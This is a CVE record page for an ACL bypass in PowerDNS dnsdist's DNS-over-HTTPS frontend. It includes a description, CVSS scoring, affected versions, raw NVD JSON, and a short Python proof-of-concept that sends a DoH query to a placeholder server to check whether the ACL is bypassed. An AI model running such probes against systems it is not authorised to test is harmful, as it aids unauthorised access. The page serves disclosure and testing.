Security Vulnerability Report
中文
CVE-2026-24029 CVSS 6.5 MEDIUM

CVE-2026-24029

Published: 2026-03-31 12:16:28
Last Modified: 2026-04-14 16:24:27

Description

When the early_acl_drop (earlyACLDrop in Lua) option is disabled (default is enabled) on a DNS over HTTPs frontend using the nghttp2 provider, the ACL check is skipped, allowing all clients to send DoH queries regardless of the configured ACL.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:* - VULNERABLE
PowerDNS dnsdist (使用 nghttp2 提供程序且配置 earlyACLDrop=false 的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Demonstration for CVE-2026-24029 # This script demonstrates that ACL checks are bypassed when early_acl_drop is disabled. # # Precondition: dnsdist is configured with nghttp2, an ACL restricting specific IPs, # and 'earlyACLDrop' is set to 'false' in the Lua configuration. import requests import sys # Target DoH server URL (example) target_url = "https://dnsdist-server.example.com:443/dns-query" # Attacker's IP (Assume this IP is NOT in the allowed ACL) # Normally the query should be blocked, but with the vulnerability it succeeds. def test_acl_bypass(): print(f"[*] Attempting to send DoH query to {target_url}...") # Parameters for a DNS A record query params = { "name": "example.com", "type": "A" } headers = { "Accept": "application/dns-json" } try: response = requests.get(target_url, params=params, headers=headers, timeout=5, verify=False) if response.status_code == 200: print("[+] Vulnerability Confirmed: Query successful despite ACL restrictions.") print(f"[+] Response Data: {response.text[:100]}...") else: print(f"[-] Query blocked or failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": test_acl_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24029", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:27.633", "lastModified": "2026-04-14T16:24:27.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the early_acl_drop (earlyACLDrop in Lua) option is disabled (default is enabled) on a DNS over HTTPs frontend using the nghttp2 provider, the ACL check is skipped, allowing all clients to send DoH queries regardless of the configured ACL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.12", "matchCriteriaId": "628B3B94-81DE-496E-B36A-B79A3DFFE1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "9AC850DD-FDD8-4C48-B861-4BBAF423FF57"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}